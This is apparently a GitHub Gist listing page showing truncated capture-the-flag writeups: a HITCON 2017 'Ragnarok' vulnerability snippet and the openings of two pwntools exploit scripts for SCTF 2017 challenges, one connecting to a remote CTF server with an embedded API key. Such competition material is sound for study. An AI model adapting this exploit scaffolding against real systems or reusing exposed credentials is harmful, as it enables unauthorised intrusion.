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@ujin5
ujin5 / readme.md
Last active November 7, 2017 15:16
HITCON 2017 Quals : Ragnarok Writeup

Ragnarok

1. Vulnerability

virtual void add_weapon(string str){
	if(weapon.empty()){
		weapon = str ;
 if(!weapon.compare("Droupnir")){
@ujin5
ujin5 / solve.py
Created August 21, 2017 01:01
sctf 2017 report writeups
from pwn import *
import json
from ctypes import *
REMOTE = 1
if REMOTE == 1:
s = remote('report.eatpwnnosleep.com',55555)
a = {
'apikey' : "e54aa9929975face3253fb6e261f3a7c15701dface66a5a63ac2fdea555e745d",
}
@ujin5
ujin5 / labyrinth.py
Last active July 10, 2017 04:12
sctf writeups
from pwn import *
def make(name,email,width,height,info,dat):
s.recvuntil('>')
s.sendline('1')
s.recvuntil('NAME>')
s.sendline(name)
s.recvuntil('EMAIL>')
s.sendline(email)
s.recvuntil('WIDTH>')
s.sendline(width)